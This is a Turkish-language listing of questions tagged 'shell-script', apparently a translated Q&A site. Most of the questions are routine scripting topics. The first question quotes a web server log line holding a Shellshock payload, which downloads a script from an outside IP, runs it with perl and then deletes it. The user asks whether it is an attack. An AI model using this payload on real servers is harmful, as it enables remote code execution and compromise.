«shell-script» etiketlenmiş sorular

Kabuk komut dosyası, bir işletim sisteminin kabuğu veya komut satırı yorumlayıcısı için yazılmış bir komut dosyasıdır.


3
Bu bir saldırı mı yoksa endişelenecek bir şey mi? Shellshock?
Bunu access.logtest sunucumda gördüm : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Adreslerin hiçbiri benimle ya da IP aralığımızla (ya da bu konuda başka bir …

8
Windows'ta bir kabuk betiğini nasıl çalıştırabilirim? [çift]
Bu sorunun zaten burada yanıtları var : Windows'ta .sh dosyası nasıl çalıştırılır? (15 cevap) 2 yıl önce kapandı . Bu soru edildi göç o Süper Kullanıcı üzerinde yanıtlanabilir çünkü yığın taşması gelen. 7 yıl önce göç etti . Mac kullanıcısıyım ve Windows'ta yeniyim. Windows'ta bir kabuk betiğini nasıl çalıştırabilirim? Genellikle, …

7
Terminal penceresi görünmeden OS X'te bir kabuk komut dosyası çalıştırılsın mı?
BetterTouchTool ve biraz AppleScript büyüsü ile yapabildiğim belirli iTerm oturumlarını açan birkaç klavye kısayolu kurmaya çalışıyorum. Sorun, OS X'in GUI aracılığıyla yürüttüğünüz kabuk komut dosyası için Terminal penceresini açmakta ısrar etmesi (yani Finder'dan veya BetterTouchTool'dan bir klavye kısayolu olarak). Komut dosyasını doğrudan başka bir terminalden çalıştırırsam terminal penceresi görünmez. Bulduğum …



7
ssh ve ssh ile kabuk: çıkış nasıl?
SSH üzerinden şu şekilde bir komut dosyası çalıştırıyorum: ssh user@ipaddress '~/my_script.sh' Her şey yolunda gidiyor ama komut dosyası bittikten sonra bağlantı kapanmıyor. Geçerli bağlantıyı kesmek için CTRL-C tuşlarına basmam gerekiyor. '~ / My_script.sh' içinde "exit" komutunu denedim ve işe yaramaz. '~ / My_script.sh' içinde "çıkış" komutunu denedim ve bir mesaj …
22 bash  ssh  shell-script 


1
Bash: isteğe bağlı olarak bir komuta argümanlar iletme
Başka bir değişkene bağlı bir komut çağrısı için bağımsız değişkenler eklemek çalışıyorum. Lütfen kabuk komut dosyası koduna bakın: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com Örnekte, titleboş değilse, bir argüman eklenir curl. titleBoşluklar varsa bu düzgün çalışmaz . Ayrıca $(...)alıntılarla kuşatamadım, çünkü eğer titleboşsa, beklenmeyen …

4
Tüm scriptlerime * .sh ve * .rb dosya uzantısını koymalı mıyım?
$ HOME / bin dizininde el ile çalıştırılabilir çalıştırılabilir komut dosyaları var. Bazıları bash, bazıları Ruby'de yazılmıştır. Hepsinde en üstte shebang hattı var ve kabuğa hangi tercümanın kullanılacağını söylüyor (bash veya Ruby, benim durumumda). Hangi komut dosyasında yazıldığını belirtmek için bu komut dosyalarına dosya uzantıları koymak daha iyi olabilir mi? …


2
Herhangi bir kabuk üzerinde çalışacak kabuk betikleri yazma
Ben sadece kabuk komut dosyası içine derinleşmeye başladım ve ben her zaman sadece bir dosyaya benim komut dosyası attı, işaretlenmiş chmod +xve sonra yaptım /path/to/script.shve yorumlayıcı varsayılan ne olursa olsun, onunla zsh olduğunu varsaydım çünkü Kabuğum için kullandım. Görünüşe göre /bin/shbetiği bir zsh isteminden çalıştırsam bile varsayılan olarak görünüyor , …



1
Çok uzun kelime satırlarını maksimum uzunluktaki ayrı satırlara ayırın
Boşluklarla ayrılmış tek bir uzun satırda paket listesi çıktısı bir komut dosyası var. Bu satıra dahil edilen bilgiler daha sonra bir kullanıcıya sunulacak olan bir metin dosyasına eklenecektir. Uzun satırı, tanımlanmış bir maksimum uzunluğa, örneğin 80 karaktere sahip birden çok satıra bölmek istiyorum, ancak bölünme yalnızca boşluklarda gerçekleşmelidir (bu nedenle, …

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.